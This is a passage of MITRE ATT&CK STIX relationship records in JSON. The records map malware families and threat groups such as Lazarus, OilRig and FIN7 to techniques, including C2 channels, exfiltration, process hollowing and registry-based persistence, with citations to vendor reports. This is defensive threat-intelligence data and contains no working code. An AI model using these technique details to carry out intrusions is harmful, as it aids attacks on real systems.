"type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from network shared drives with file extensions and keywords that match a predefined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can open an interactive command-shell to perform command line functions on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8674de47-b051-4384-a6e0-aeed32b8c270", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scripts save memory dump data into a specific directory on hosts in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.160Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Gazer](https://attack.mitre.org/software/S0168) versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants establish persistence by modifying the Registry key HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Run:%appdata%\\NeutralApp\\NeutralApp.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bc7382dc-b2d0-4bd3-9e7d-f49cf17e7fc1", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5a0ce8c4-e941-4bd0-8e70-6ca440a29b9d", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses PowerShell scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d42a4f15-98c5-43df-9e25-7455a764070d", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--499b83f9-ba2a-4de3-a143-ed85677a453d", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates Registry keys associated with event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--69c3aaaf-0922-4662-a8b3-026dc5ea0aae", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "Commands such as net group and net localgroup can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather information on the mapped drives, OS version, computer name, and memory size.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9154afb8-abf6-4d9d-b114-5106d801338f", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--235fe6f1-66d1-4cf4-adb9-3bc7f081144a", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.830Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b1df64c9-782d-4452-8c4a-5ef933503c13", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "Some [MiniDuke](https://attack.mitre.org/software/S0051) components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "source_name": "Securelist MiniDuke Feb 2013", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) has used AOL Instant Messenger for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d122e56a-b0d7-4eb2-bcee-def5d4cbf5bd", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to list processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--84f40044-00a2-4015-be0d-1bb0107ef42b", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9b650df6-f965-45fa-9e5a-409202a46da7", + "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "modified": "2019-04-24T23:11:34.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Intezer Aurora Sept 2017", + "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", + "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + }, + { + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "source_name": "Avast CCleaner3 2018", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /v.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c0f3f4f3-e435-443f-aa89-18afb0115055", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has exfiltrated data over FTP separately from its primary C2 channel over DNS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--70648d67-a2f5-4021-8ffe-3bbcdbe8e78f", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "source_name": "Microsoft DTC", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c79ca18d-b316-476e-8adf-df28a4b40074", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created new Windows services and added them to the startup directories for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bde512f7-afbb-4fe5-8df7-53a00bdadc79", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.469Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to schedule remote AT jobs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a5f43f22-7157-4e5a-8d08-d700471f1993", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts exfiltrated data with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1a028242-1896-4867-a691-c97867f1663d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.837Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve IP and network adapter configuration information from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--927e8d82-d094-4170-bc76-10717ffd8d7f", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.016Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and 